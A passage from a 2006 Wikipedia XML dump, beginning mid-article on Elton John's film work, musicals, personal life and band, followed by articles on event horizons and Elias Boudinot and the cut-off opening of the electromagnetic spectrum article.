He has also done work both for and in films. In [[1971]], he wrote the soundtrack for the movie ''Friends''. In 1972 he appeared in the Marc Bolan's musical film 'Born to Boogie' In [[1975]], he appeared as the Pinball Wizard in [[Ken Russell]]'s over-the-top movie version of the rock opera ''[[Tommy]]''. 

In [[1994]], along with [[Tim Rice]], he wrote the songs for the [[The Walt Disney Company|Disney]] animated film ''[[The Lion King]]''. (Rice was reportedly stunned by the rapidity with which John was able to set his words to music.) ''The Lion King'' went on to become the best-grossing traditionally-animated feature of all time, with the songs playing a key part. Three of the five songs nominated for the [[Academy Award for Best Song]] that year were John and Rice songs from ''The Lion King'', with &quot;Can You Feel the Love Tonight&quot; winning. In versions sung by John, both that and &quot;Circle of Life&quot; became big hits, while the other songs such as &quot;Hakuna Matata&quot; achieved popularity with all ages as well. &quot;Can You Feel the Love Tonight&quot; would also win John the [[Grammy Award for Best Male Pop Vocal Performance]].

Five years later, John wrote the score for ''The Muse'', and a year later composed songs for another animated film, [[DreamWorks]]' ''[[The Road to El Dorado]]''. In [[2001]], his [[1970s]] hit, &quot;Tiny Dancer&quot; was featured on the ''[[Almost Famous]]'' soundtrack, his song &quot;The Heart of Every Girl&quot; was featured as the end title song from [[2003]]'s ''[[Mona Lisa Smile]]'', and his most recent movie song is &quot;My Father's Gun&quot; from [[2005]]'s ''[[Elizabethtown (film)|Elizabethtown]]''.

==Musicals==
In addition to a [[1998]] adaptation of ''The Lion King'' for [[Broadway theatre|Broadway]], John has also composed music for a Disney production of ''[[Aida (musical)|Aida]]'' ([[2000]]) with lyricist Tim Rice, for which they received the [[Tony Award for Best Original Score]] and the [[Grammy Award for Best Musical Show Album]].

John also composed music for a [[West End theatre|West End]] production of ''[[Billy Elliot]]'' ([[2005]]) with [[Lee Hall (playwright)|Lee Hall]], and ''[[The Vampire Lestat]]'' with Bernie Taupin, based on the [[Anne Rice]] vampire novels.

== Personal life ==
[[image:Civil_partnership_elton_john.jpg|thumb|right|Document of Civil Partnership]]
John has had a complicated personal history. He disclosed his [[bisexuality]] in [[1976]] in a [[Rolling Stone Magazine]] interview. He married [[Germany|German]] recording engineer [[Renate Blauel]] on [[Valentine's Day]], [[1984]], but they divorced four years later. 

He has lived with his partner [[David Furnish]], a former [[advertising]] executive, since the early [[1990s]]. On [[21 December]] [[2005]], they entered into a [[Civil partnerships in the United Kingdom|civil partnership]]. A low-key ceremony with only their parents in attendance was held at the [[Guildhall, Windsor]], followed by a lavish party at their [[Berkshire]] mansion. Guests at the party included [[Victoria Beckham]], [[Hugh Grant]] and [[Jemima Khan]], [[boy George]], [[Joss Stone]], [[Ringo Starr]], [[George Michael]], [[Tim Burton]] and [[Helena Bonham Carter]], [[Bryan Adams]], [[Michael Caine]], [[Donatella Versace]], [[Claudia Schiffer]], [[Elizabeth Hurley]], [[Sting]], [[Sharon Stone]], The [[Pet Shop Boys]], [[Stephen Gately]], [[Elvis Costello]], [[Jamie Cullum]], [[Sarah Ferguson]], [[Kid Rock]], [[Cilla Black]], [[Lulu (singer)|Lulu]], [[James Blunt]], and [[The Osbournes]]. The Sun newspaper marked the event with the headline &quot;Elton Takes David Up the Aisle&quot;.

In [[1976]], Elton John became involved in [[Watford F.C.|Watford Football Club]] and fulfilled a childhood dream by becoming its chairman and director. He invested large sums of money and the club rose into the [[First Division (sport)|First Division]] after a number of key acquisitions. He sold the club to [[Jack Petchey]] in 1987, but remained their life-long president. In 1997 he re-purchased the club from Petchey and once again became chairman. He stepped down in [[2002]] when the club needed a full-time chairman although he continued as president of the club. Although no longer the majority shareholder, he stills holds a significant financial interest. In June [[2005]] he held a concert at Watford's [[Vicarage Road]] ground, donating the funds to the club.

He supports the [[St Kilda Football Club]] in the [[Australian Football League]] and regularly checks on the website for news about them.

John has long been associated with [[AIDS]] charities after the deaths of his friends [[Ryan White]] and [[Freddie Mercury]], raising large amounts of money and using his public profile to raise awareness of the disease. For example, in [[1986]] he joined with [[Dionne Warwick]], [[Gladys Knight]], and [[Stevie Wonder]] to record the single &quot;[[That's What Friends Are For]]&quot;, with all profits being donated to the [[American Foundation for AIDS Research]]. The song won Elton and the others the [[Grammy Award for Best Pop Performance by a Duo or Group with Vocal]] (as well as [[Grammy Award for Song of the Year|Song of the Year]] for its writers, [[Burt Bacharach]] and [[Carole Bayer Sager]]).

John founded the [http://www.ejaf.org/   Elton John AIDS Foundation] in 1992 as a charity to fund programmes for HIV/AIDS prevention, for the elimination of prejudice and discrimination against HIV/AIDS-affected individuals, and for providing services to people living with or at risk of contracting HIV/AIDS. 

Aside from his main home in Windsor, England, John splits his time in his various residences in [[Atlanta, Georgia]]; [[Nice, France]]; [[London, England]]; and [[Venice, Italy]].

During his career, John has battled addictions to [[cocaine]] and rumoured financial difficulties caused by his profligate spending. In the mid-late [[1990s]], John formed a friendship with colleague [[Michael Jackson]]. Because of the help John gave him during his addiction to [[morphine|painkillers]], Jackson dedicated the [[1997]] album ''[[Blood on the Dance Floor]]'' to him. 

Elton John is a noted [[art collector]], and is believed to have one of the largest private [[photography]] collections in the world.

== Musical style and voice ==
In the [[1970s]], Elton John's sound immediately set him apart from most others by being piano-based in a rock 'n' roll world dominated by guitars. Another early characteristic was a set of dynamic [[string instrument|string]] [[arrangement]]s by [[Paul Buckmaster]]. Coupled with Taupin's often opaque but emotionally resonant lyrics, the results were unique in the history of music. Songs in this style included &quot;Sixty Years On&quot;, &quot;Burn Down the Mission&quot;, &quot;Take Me to the Pilot&quot;, &quot;[[Levon]]&quot;, &quot;Madman Across the Water&quot;, and the best-known of these, &quot;[[Tiny Dancer]]&quot;.

&quot;[[Your Song]]&quot;, one of his earliest popular hits, incorporates some other features found in many of his songs:
* It is in [[binary form]], with the verse repeated before the chorus begins;
* The piano accompaniment is prominent, though the song also features an [[orchestra]];
* It uses a slowly building [[crescendo]] that brings the song to a ''[[tutti]]'' climax. Other songs that follow this pattern include &quot;[[Don't Let the Sun Go Down On Me]]&quot; and &quot;[[Rocket Man]]&quot;.

John also has a distinctive vocal style. In particular, his phrasing is often a bit metronomic and sometimes has a curiously off-kilter, &quot;rushed&quot; quality especially at the end of lines (example: the phrase &quot;like a puppy child&quot; in the song &quot;Amoreena&quot;). He also, at least in his classic period in the 1970s, would sometimes sweep up from his normal tenor into a [[Four Seasons]]-like falsetto.

Elton John underwent throat surgery to remove potentially cancerous nodules from his vocal chords in January 1987 while on tour, a necessity he originally said was due to an infection, but later said was the result of excessive [[drug abuse]]. The problems with his voice can clearly be heard in his raspy singing on the ''[[Live in Australia with the Melbourne Symphony Orchestra|Live In Australia]]'' album (released 1987). He made a full recovery from the surgery, but he continued to endulge in [[illegal drugs]] for a few more years. The surgery in 1987 also had an after-effect on John's voice, and he found that he could no longer sing in falsetto as well as he previously could, and that he now sang in a lower range.

The change in Elton John's voice has been largely played down, with Elton commenting fifteen years after the surgery that he was &quot;singing better than ever.&quot; Studio effects were evidently added to his voice on his first UK #1 Hit &quot;Sacrifice&quot; (1990). The release of ''[[Songs From The West Coast]]'', his 2001 album, showed very clearly how different his voice is to his prime. It is a matter of opinion which singing style is better, but few would deny that Elton John remains an excellent singer.

== Quotations ==
*&quot;You can call me a fat, balding, talentless, old queen who can't sing—but you can't tell lies about me.&quot; (After successfully winning a libel case against [[The Sun (newspaper)|The Sun]] in [[1987]] for alleged underage sex.)

*&quot;I haven't made a good album in a long while. Not since [[1976]] and [[Blue Moves]].&quot;

*&quot;If there is a better singer in England than [[Craig David]], then I am [[Margaret Thatcher]].&quot;

*(After being asked about his sexuality in the 1970s) &quot;I think people should be free to engage in any sexual practices they choose; they should draw the line at goats, though.&quot;

*&quot;Nowadays, record companies want the quick buck from the Backstreet Boys, Britney Spears, Travis Miscia, S Club Seven, Steps. They've always been around, I'm not knocking the music perhaps, but it's like packets of cereal. There are too many of them, too many of them are just mediocre. And I think it damages real people's chance, real talent, of getting airplay. It's just fodder.&quot;

*&quot;There's so much you're expected to do and you follow a pattern. You make a record, you do a video. I like to break the rules a little bit more and I did in the 70s, I should try a little bit more now.&quot;

*&quot;Anyone who lip-synchs in public on stage when you pay £75 to see them should be shot. That's me off her Christmas card list. But do I give a toss? No.&quot; (about [[Madonna (entertainer)|Madonna]])

*&quot;If I had one finger left, I'd play for you.&quot; (After breaking his fingernails by playing too hard)

*&quot;I thought it was a bit of an anti-climax, to be honest. The thought behind it was fantastic, but Hyde Park is a charisma-free zone. There was no sense of occasion and from a musical point, I didn't think there were too many highlights. I was very pleased to be a part of it, but I didn't think it was anywhere near as good as the first one. How could it be?&quot; (about [[Live 8]])

*&quot;The great thing about rock and roll is that someone like me can be a star.&quot;

*&quot;Well, [[Oprah Winfrey]]'s fat / [[Phil Donahue]] just take a hike / Why won't they let Howard Stern on TV?&quot; (A tribute song he sang for [[Howard Stern]] in the late 1980s.)

*&quot;But you'll have to perform a [[fellatio]]us sex act.&quot; (Joking around with [[Howard Stern]] about putting Stern in his will during a December 16, 1998 interview.)

== Discography ==
 
''For a complete discography, see [[Elton John discography]].''

==Band==
===Current members===
* '''Elton John''' - [[piano]], [[lead]] [[vocals]]
* [[Guy Babylon]] - [[Keyboard instrument|keyboards]]
* [[Bob Birch]] - [[bass guitar]], [[vocals]]
* [[Davey Johnstone]] - [[guitar]], [[musical director]], [[vocals]]
* [[John Mahon]] - [[percussion instrument|percussion]], [[vocals]]
* [[Nigel Olsson]] - [[drums]], [[percussion instrument|percussion]], [[vocals]]

==Previous band members==
* [[Jeff &quot;Skunk&quot; Baxter]] - [[guitar]]
* [[Jack Bruno]] - touring [[drums]]
* [[Ray Cooper]] - [[percussion instrument|percussion]]
* [[John Jorgenson]] - [[guitar]], [[saxophone]], [[mandolin]], [[pedal steel]], [[vocals]]
* [[John Lennon]] - [[guitar]]
* [[Jody Linscott]] - [[percussion instrument|percussion]]
* [[Jonathan Moffett]] - [[drums]]
* [[Charlie Morgan]] - [[drums]]
* [[Dee Murray]] - [[bass guitar]], [[vocals]]
* [[James Newton Howard]] - [[Conducting|conductor]]
* [[Kiki Dee]] - vocals
* [[Pino Palladino]] - [[bass guitar]]
* [[Kenny Passarelli]] - [[bass guitar]], [[vocals]]
* [[David Paton]] - [[bass guitar]], [[vocals]]
* [[Roger Pope]] - [[drums]]
* [[Gentry Pruett]] - [[Keyboard instrument|keyboards]]
* [[Caleb Quaye]] - [[guitar]]
* [[Tim Renwick]] - [[guitar]], [[vocals]]
* [[Toni Tennile]] - [[vocals]], [[keyboards]]
* [[Ken Stacey]] - additional [[guitar]], [[vocals]]
* [[Mark Taylor (keyboardist)|Mark Taylor]] - [[Keyboard instrument|keyboards]]
* [[Billy Trudel]] - [[vocals]]
* [[Romeo Williams]]- [[bass guitar]], [[vocals]]
* [[Ritchie Zito]] - [[drums]]

== See also ==
*[[List of best selling music artists]]
*[[List of number-one hits (United States)]]
*[[List of artists who reached number one on the Hot 100 (U.S.)]]
*[[List of number-one dance hits (United States)]]
*[[List of artists who reached number one on the U.S. Dance chart]]

==References and notes==
===Notes===
*{{note|hercules}} This middle name appears little used (it only receives [http://www.google.com/search?q=%22Elton+Hercules+John%22 981 Google results as of 20/01/06]), however [http://www.bartleby.com/65/jo/John-Elt.html The Columbia Encyclopedia, 6th ed.] uses the name in its entry. It is officially part of his name. An image of his deed poll certificate is available [[:Image:Deed poll certificate for Elton John.jpg|here]].

===References===
*[http://entertainment.iafrica.com/news/617345.htm &quot;Elton and David to tie the knot&quot;]. (Nov. 25, 2005). ''iAfrica.com''.

== External links ==
* [http://www.eltonjohn.com Elton John's official website]
* [http://www.eltonfan.com Fan site]
* [http://www.eltonography.com Elton John Discography and Lyrics]
* [http://p211.ezboard.com/bthecrazywaterezboard The Crazy Water Forum - an Elton John message board]
* [http://crazywaterejnews.blogspot.com Elton John News Blog from The Crazy Water Site]
* [http://www.soundtrackinfo.com/composer.asp?id=490&amp;s=y Elton John at the SoundtrackINFO project]
* [http://www.sing365.com/music/lyric.nsf/singerUnid/E98916284BE40C2F48256876001FCECF Elton John Biography]
* [http://www.eltonchords.com EltonChords.com] Resource for piano chording for Elton John Songs.
* [http://www.eltonscafe.com/ Elton John's Music Cafe]
* [http://ejaf.org/welcome.html Elton John AIDS Foundation (EJAF)]
* [http://www.whizzo.ca/elton/ej.html Cornflakes &amp; Classics - The musical history of Elton John]
* [http://www.eltonjohnfanatic.com Elton John Fanatic]
* [http://www.thelive8concert.com/elton.htm Elton John at Live 8]
* {{imdb name|id=0005056|name=Elton John}}

[[Category:1947 births|John, Elton]]
[[Category:Alumni of the Royal Academy of Music|John, Elton]]
[[Category:Atlantans|John, Elton]]
[[Category:Commanders of the British Empire|John, Elton]]
[[Category:Elton John|John, Elton]]
[[Category:English football chairmen and investors|John, Elton]]
[[Category:English male singers|John, Elton]]
[[Category:English pianists|John, Elton]]
[[Category:English songwriters|John, Elton]]
[[Category:Gay icons|John, Elton]]
[[Category:Gay musicians|John, Elton]]
[[Category:Little Britain actors|John, Elton]]
[[Category:Living people|John, Elton]]
[[Category:Londoners|John, Elton]]
[[Category:Music from London|John, Elton]]
[[Category:Pop pianists|John, Elton]]
[[Category:Rock and Roll Hall of Fame inductees|John, Elton]]

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    </revision>
  </page>
  <page>
    <title>Event horizon</title>
    <id>10132</id>
    <revision>
      <id>42135004</id>
      <timestamp>2006-03-04T01:26:10Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/213.249.154.123|213.249.154.123]] ([[User talk:213.249.154.123|talk]]) to last version by Hbackman</comment>
      <text xml:space="preserve">{{General relativity}}
:''For the science fiction film, see [[Event Horizon]]''
An '''event horizon''' is a boundary in [[spacetime]] for a given observer beyond which no electromagnetic energy, including [[light]], can reach the observer.

Light emitted from inside an event horizon will never reach a stationary observer outside the horizon, hence the name [[black hole]]. Note the dependency on the observer of the concept of event horizon. For example, a free falling observer toward a black hole does not experience an event horizon (see e.g. catastrophic [[gravitational collapse]]).

The event horizon for an outside observer really acts as a [[horizon]]. He sees an object falling toward the horizon approaching it, but (in his own proper time) never reaching it. In his observations the object goes slower and slower toward the horizon and at the same time the [[redshift]] increases beyond bounds to [[infinity]]. Also the intensity of the falling object quickly becomes zero. In a finite time the outside observer will receive the last [[photon]] from the falling object. He will never see the falling object passing through the event horizon.

The '''event horizon''' is distinct from the [[particle horizon]].

==Sticking your hand through an event horizon==

One can ask what happens, when a stationary observer is in [[orbit]] just outside the event horizon and (against all advice) sticks his hand through the horizon? The answer is: he won't succeed in doing so. Free orbits are only possible at a certain distance (for a non-rotating black hole, this figure is at least three times the [[Schwarzschild radius]]). Near the event horizon, an observer can only remain at a constant radius when he uses a [[force]] (e.g. from a [[rocket]]) to keep him there. The force needed grows to infinity when the observer wants to maintain a steady constant orbit approaching the event horizon. When he sticks out his hand, the [[tidal force]] (the difference in gravity between body and hand along his arm) also becomes infinitely high, so his hand will be severed immediately.

The physical consequences of the previous paragraph are drawn by [[Stephen Hawking]]. Everywhere in the [[vacuum]] of space [[virtual particle|virtual particle pairs]] are created and [[annihilation|annihilated]] quickly. Near an event horizon, they can be separated. Effectively, a particle or photon will be emitted from the horizon, the so-called [[Hawking radiation]].

Recently, however, Stephen Hawking has reversed his position regarding black holes, having claimed that an event horizon never actually forms around a black hole.

:''&quot;The [[Euclidean]] path integral over all [[topologically]] trivial metrics can be done by [[time slicing]] and so is unitary when analytically continued to the [[Lorentzian]]. On the other hand, the path integral over all topologically non-trivial metrics is [[asymptote|asymptotically]] independent of the initial state. Thus the total path [[integral]] is unitary and information is not lost in the formation and [[evaporation]] of [[black holes]]. The way the information gets out seems to be that a true event horizon never forms, just an apparent horizon.&quot;'' - [http://www.dcu.ie/~nolanb/gr17.htm GR Conference website] summary of Hawking's talk.

==Event horizon in the absence of gravity==

Event horizons also exist in the absence of [[gravity]]. A simple example is a ''uniform accelerated particle'' (whose [[speed]] will thus eventually approach the speed of light but will always be smaller). Light emitted at a certain distance in the direction of that particle will never reach the accelerated particle. It is beyond the event horizon for that particle.  Such event horizons occur in [[particle accelerator]]s.

A part of spacetime forms an event horizon as observed from a constantly accelerated observer. The [[world line]] of the observer 
is given as the solid [[curve]] in a two dimensional spacetime representation with time ''x''&lt;sup&gt;0&lt;/sup&gt; in the vertical direction and a one dimensional space coordinate ''x''&lt;sup&gt;3&lt;/sup&gt; to the right. An angle of 45° indicates the speed of light, such as the world line of a photon traveling to the right and starting in ''a''. The world line of the observer is described by a [[hyperbola]]. The parameter along his path is &amp;tau;, his proper time.
In '''0''' his speed is zero and eventually he will reach a speed close to the velocity of light, inclined at an angle of 45 degrees. This asymptotic line is his ''future event horizon''. A photon emitted at any event to the left of it (such as the emission of a photon from event '''a''') will never reach him (as long as the observer maintains a constant acceleration). 

If someone at constant zero [[velocity]] (a static observer with a vertical line as worldline) would emit photons to the right, then the accelerated observer would see all photons below the event horizon, but in his proper time it would take longer and longer when these photons are emitted closer to the horizon. Also they are more and more redshifted. The accelerated observer would never see the static observer pass the event horizon.

==Other examples of an event horizon==

Hypothetically, an event horizon can also exist in a [[universe]], for an observer at a given location in [[space-time]], who remains at the same [[comoving coordinates|comoving]] spatial position.  When a universe expands quickly enough, for example a [[de Sitter universe]], it can be possible for an event horizon to exist.

== See also ==

* [[Black hole]]
* [[General relativity]]
* [[Gravitational singularity]]
* [[Gravity]]
* [[Naked singularity]]
* [[Particle horizon]]
* [[Quantum physics]]
* [[Schwarzschild metric]]

==External links==

* [http://iapetus.phy.umist.ac.uk/Teaching/Cosmology/Metric.html  Metrics: distances in a relativistic Universe]

[[Category:Black holes]]

[[ca:Horitzó d'esdeveniments]]
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[[es:Horizonte de sucesos]]
[[he:אופק אירועים]]
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[[nl:Waarnemingshorizon]]
[[ja:&amp;#20107;&amp;#35937;&amp;#12398;&amp;#22320;&amp;#24179;&amp;#38754;]]
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[[zh:事界]]</text>
    </revision>
  </page>
  <page>
    <title>Elias Boudinot</title>
    <id>10133</id>
    <revision>
      <id>40961306</id>
      <timestamp>2006-02-24T03:27:03Z</timestamp>
      <contributor>
        <ip>71.97.95.103</ip>
      </contributor>
      <comment>/* Quotes */</comment>
      <text xml:space="preserve">[[Image:EliasBoudinot.jpg|thumb|225px|right|Elias Boudinot]]
:''For other people with the same name, see [[Elias Boudinot (disambiguation)]].''

'''Elias Boudinot''' ([[1740]]&amp;ndash;[[1821]]) was an early American lawyer and statesman from [[Elizabeth, New Jersey]] who was a delegate to the [[Continental Congress]] and a [[United States House of Representatives|U.S.  Congressman]] for [[New Jersey]]. He served as [[President of the Continental Congress]] in [[1782]]-[[1783]].

==Personal history==
Elias Boudinot was the grandson of Elie (sometimes called Elias) Boudinot. Ellie was the son of Jean Boudinot and Marie Suire of Marans, Aunis, [[France]], a [[Huguenot]] (Protestant) family who fled to New York about 1687 to avoid the religious persecutions of King Louis XIV.  His son, also Elias, was a silversmith, and a neighbor and friend of [[Benjamin Franklin]] in Philadelphia. The third generaton and subject, Elias, was born in [[Philadelphia, Pennsylvania|Philadelphia]] on [[May 2]], [[1740]]. After tutoring and study at home, he went to [[Princeton, New Jersey]] to read the law with another attorney. His mentor was [[Richard Stockton (1730-1781)]], who later signed the [[United States Declaration of Independence|Declaration of Independence]] and was coincidentally married to Elias' sister [[Annis Boudinot Stockton]]. In 1760 he was admitted to the bar, and began his practice in [[Elizabeth, New Jersey]]. He owned land adjacent to the road from Elizabethtown to Woodbridge, NJ.

Then on [[April 21]], [[1762]] he married Richard's sister, Hannah Stockton (1736-1808). Elias and Hannah would have only one child, [[Susan Boudinot Bradford]]. Susan married  [[William Bradford (1755-1795)|William Bradford]] who became Chief Justice of [[Pennsylvania]] and Washington's [[Attorney General]]. After Bradford's death in 1795, Susan came back to make her home with her father and edit his papers, which are a light into the events of the Revolutionary era. Elias' only brother, Elisha, became Chief Justice of the Supreme Court of New Jersey.

In [[1805]] Elias moved his family to a new home in [[Burlington, New Jersey]] and lived there the rest of his life. In his later years he invested and speculated in land. He owned large tracts in [[Ohio]] including most of [[Green Township, Hamilton County, Ohio|Green Township]] in what is now the western suburbs of [[Cincinnati, Ohio|Cincinnati]]. On his death he willed 13,000 acres to the city of Philadelphia for parks and city needs.

Boudinot died at home in Burlington on [[October 24]], [[1821]]. He is buried in St. Mary's Episcopal Churchyard on West Broad Street there.

==Political career==
Boudinot became a prominent lawyer and his practice prospered, As the revolution drew near, he aligned with the [[Whigs]], and was elected to the New Jersey provincial assembly in 1775. In the early stages of the [[American Revolutionary War|Revolutionary War]] he was active in promoting enlistment and several times loaned money to field commanders for supplies. Elias also became one of the focal points for rebel spies, who were sent to Staten Island and Long Island to observe and report on movements of specific British garrisons and regiments. To this day, much of what he organized remains a &quot;secret&quot; worth discovery and telling.

On [[May 5]], [[1777]] General [[George Washington]] asked for him to be made commissary general for prisoners. Congress through the board of war concurred. Boudinot was made a Colonel in the [[Continental Army]] for this task. He held this job until other responsibilities force him to resign in July of [[1778]]. The commissary was responsible not just for enemy prisoners, but for supplying American prisoners held by the British. ''See: [[American Revolution prisoners of war]].''

In November of 1777, the New Jersey legislature named Boudinot as one of their delegates to the [[Continental Congress]]. His duties as Commissary prevented his attendance, so in May of 1778 he submitted his resignation, and by early July he was replaced and able to attend his first meeting on [[July 7]], [[1778]]. He maintained his concerns for the welfare of prisoners of war throughout his term as a delegate. His first term ended that year.

In 1781 Elias returned to the Congress, and this term lasted through 1783.He was elected the [[President of the Continental Congress]] for the November 1782 to November 1783 term. Some later analysts have ''incorrectly'' claimed him as the '''First President of the United States''', an honor he shares with [[John Hanson]]. The basis for the claim in his name is that the [[Treaty of Paris (1783)|Treaty of Paris]], in which [[Great Britain|Britain]] recognized American independence, was concluded during his term as president of the Congress. But news of the event didn't get to Congress until after his term, and the United States didn't ratify the treaty until [[January 14]], [[1784]].

When the United States government was formed in [[1789]], New Jersey sent Elias Boudinot to the [[United States House of Representatives|House of Representatives]]. He was elected to the second and third congresses as well, where he generally supported the administration, but refused to join the growing forces that led to formal political parties. In [[1794]] he declined to serve another term, and left Congress in early [[1795]]. In October of 1795, President Washington appointed him the Director of the [[United States Mint]], a position he held until his retirement in [[1805]]. After many turbulent decades in law and politics, he was to recall the metallurgic skill learned in his father's [[silversmith]]y. Under his administration the first US coinage was minted, the beauty of which is sought after by collectors willing to pay many thousands, or even millions, of dollars for any specimen, most notably the 1804 silver dollar. He was scrupulous in his accounting, as reported to Congress, and left the US Mint in excellent order for the future.

==Later public service==
In addition to political office Elias supported many civic, religious, and educational causes during his life. He is intimately connected with [[Princeton University]]. In Revolutionary times, Princeton was the ''College of New Jersey'', and Boudinot served as one of its trustees for nearly half a century, from [[1772]] until [[1821]]. When the Continental Congress was forced to leave Philadelphia in 1783 while he was its president, he moved the meetings to [[Princeton, New Jersey|Princeton]] where they met in the University's Nassau Hall.

A devout Episcopalian, Boudinot supported missions and missionary work. To that end he was one of the founders of the American Bible Society, and served as its President after 1816. He argued for the rights of black and [[Native Americans in the United States|Indian]] citizens, and sponsored students to the Board School for Indians in [[Connecticut]]. One of these, a young Cherokee named ''Gallegina Watie'', stayed with him while traveling to the school. The two so impressed each other that Gallegina asked for and was given permission to use his name, and was afterward known as [[Elias Boudinot (Cherokee)|Elias Boudinot]].

==Legacy==
Elias Boudinot Elementary School in [[Burlington, New Jersey]] is named after him.

==Quotes==

* “Be religiously careful in our choice of all public officers... and judge of the tree by its fruits.”

==External links==
*[http://bioguide.congress.gov/scripts/biodisplay.pl?index=B000661 Boudinot's Congressional Biography]

==Further reading==
*J. J. Boudinot; ''The Life, Public Services, Addresses and Letters of Elias Boudinot''; New York, 1896.
*George Boyd; ''Elias Boudinot: Patriot and Statesman, 1740-1821;'' Westwood, Connecticut, 1969, Greenwood Publishing, ISBN 0837113458.
*Joseph Lee Boyle; ''Their Distress is Almost Intolerable: The Elias Boudinot Letterbook, 1777-1778''; 2002, Heritage Books (paperback), ISBN 0788422103.

{{start box}}
{{succession box| title=[[President of the Continental Congress|President of the United States in Congress Assembled]]| before=[[John Hanson]]| after=[[Thomas Mifflin]]| years=[[November 4]], [[1782]] &amp;ndash; [[November 2]], [[1783]]}}
{{end box}}

[[Category:1740 births|Boudinot, Elias]]
[[Category:1821 deaths|Boudinot, Elias]]
[[Category:Continental Army officers|Boudinot, Elias]]
[[Category:Continental Congressmen|Boudinot, Elias]]
[[Category:Directors of the United States Mint|Boudinot, Elias]]
[[Category:French Americans|Boudinot, Elias]]
[[Category:Members of the United States House of Representatives from New Jersey|Boudinot, Elias]]</text>
    </revision>
  </page>
  <page>
    <title>Electromagnetic spectrum</title>
    <id>10134</id>
    <revision>
      <id>42042449</id>
      <timestamp>2006-03-03T11:52:09Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/85.12.76.1|85.12.76.1]] ([[User talk:85.12.76.1|talk]]) to last version by Wayward</comment>
      <text xml:space="preserve">[[Image:spectrum.png|right|frame|'''Legend:'''&lt;br /&gt;
&amp;gamma; = [[Gamma ray]]s&lt;br /&gt;
HX = Hard [[X-ray]]s&lt;br /&gt;
SX = Soft X-Rays&lt;br /&gt;
EUV = Extreme [[ultraviolet]]&lt;br /&gt;
NUV = Near ultraviolet&lt;br /&gt;
[[Visible light]]&lt;br /&gt;
NIR = Near [[infrared]]&lt;br /&gt;
MIR = Moderate infrared&lt;br /&gt;
FIR = Far infrared&lt;br /&gt;
&lt;br /&gt;
'''[[Radio waves]]:'''&lt;br /&gt;
EHF = [[Extremely high frequency]] (Microwaves)&lt;br /&gt;
SHF = [[Super high frequency]] (Microwaves)&lt;br /&gt;
UHF = [[Ultrahigh frequency]]&lt;br /&gt;
VHF = [[Very high frequency]]&lt;br /&gt;
HF = [[High frequency]]&lt;br /&gt;
MF = [[Medium frequency]]&lt;br /&gt;
LF = [[Low frequency]]&lt;br /&gt;
VLF = [[Very low frequency]]&lt;br /&gt;
VF = [[Voice frequency]]&lt;br /&gt;
ELF = [[Extremely low frequency]]]]
The '''electromagnetic spectrum''' is the range of all possible [[electromagnetic radiation]].  Also, the &quot;electromagnetic spectrum&quot; (usually just ''spectrum'') of an object is the range of electromagnetic radiation that it [[emission|emits]], [[reflection|reflects]], or transmits.

The electromagnetic spectrum, shown in the table, extends from frequencies used in the electric power grid (at the long-wavelength end) to gamma radiation (at the short-wavelength end), covering wavelengths from thousands of [[kilometre]]s down to fractions of the size of an [[atom]].  It is commonly said that EM waves beyond these limits are uncommon, although this is not actually true. The 22-year sunspot cycle, for instance, produces radiation with a period of 22 years, or a frequency of 1.4*10&lt;sup&gt;-9&lt;/sup&gt; Hz. At the other extreme, photons of arbitrarily high frequency may be produced by colliding electrons with positrons at appropriate energy. 10&lt;sup&gt;24&lt;/sup&gt; Hz photons can be produced today with man-made accelerators.  In our universe the short wavelength limit is likely to be the [[Planck length]], and the long wavelength limit the size of the universe itself (see [[cosmology]]), though in principle the spectrum is [[infinite]].

Electromagnetic energy at a particular [[wavelength]] [[lambda|&amp;lambda;]] (in vacuum) has an associated [[frequency]] [[nu|&amp;nu;]] and [[photon]] [[energy]] ''E''.  Thus, the electromagnetic spectrum may be expressed equally well in terms of any of these three quantities.  They are related according to the equations:

:&lt;math&gt;\lambda = \frac{c}{\nu}  \,\!&lt;/math&gt;

and

:&lt;math&gt;E=h\nu \,\!&lt;/math&gt;

where:
* ''c'' is the [[speed of light]], 299792458 m/s &lt;math&gt;(c \approx 3 \cdot 10^8 \ \mbox{ m}/\mbox{s} = 300,000 \ \mbox{km}/\mbox{s})&lt;/math&gt;.
* ''h'' is [[Planck's constant]], &lt;math&gt;(h \approx 6.626069 \cdot 10^{-34} \ \mbox{J} \cdot \mbox{s} \approx 4.13567 \ \mathrm{\mu} \mbox{eV}/\mbox{GHz})&lt;/math&gt;.

== Spectra of objects ==
Nearly all objects in the [[universe]] emit, reflect and/or transmit some light.  (One hypothetical exception may be [[dark matter]].)  The distribution of this light along the electromagnetic spectrum (called the ''spectrum'' of the object) is determined by the object's composition.  Several types of spectra can be distinguished depending upon the nature of the radiation coming from an object:

* If the spectrum is composed primarily of [[thermal radiation]] emitted by the object itself, an ''[[emission spectrum]]'' occurs.
** Some bodies emit light more or less according to the [[blackbody spectrum]].
* If the spectrum is composed of background light, parts of which the object transmits and parts of which it absorbs, an ''[[absorption spectrum]]'' occurs.

[[Electromagnetic spectroscopy]] is the branch of physics that deals with the characterization of matter by its spectra.

== Classification systems ==
[[Image:Spectre.svg|thumb|350px|Electromagnetic spectrum illustration.]]
While the classification scheme is generally accurate, in reality there is often some overlap between neighboring types of electromagnetic energy. For example, SLF radio waves at 60 Hz may be received and studied by astronomers, or may be ducted along wires as electric power.  Also, some low-energy gamma rays actually have a longer wavelength than some high-energy X-rays. This is possible because &quot;gamma ray&quot; is the name given to the photons generated from [[nuclear decay]] or other nuclear and subnuclear processes, whereas X-rays on the other hand are generated by [[electron]]ic transitions involving highly energetic inner electrons. Therefore the distinction between gamma ray and X-ray is related to the radiation source rather than the radiation wavelength. Generally, nuclear transitions are much more energetic than electronic transitions, so usually, gamma-rays are more energetic than X-rays. However, there are a few low-energy nuclear transitions (e.g. the 14.4 keV nuclear transition of [[Iron|Fe]]-57) that produce gamma rays that are less energetic than some of the higher energy X-rays.

Use of the radio frequency spectrum is regulated by governments. 
This is called [[frequency allocation]].



=== Radio frequency ===

{{radio_spectrum}}

[[Image:Atmospheric electromagnetic transmittance or opacity.jpg|thumb|right|350px|Plot of Earth's atmospheric transmittance (or opacity) to various wavelengths of electromagnetic radiation.]]

{{main|radio frequency}}

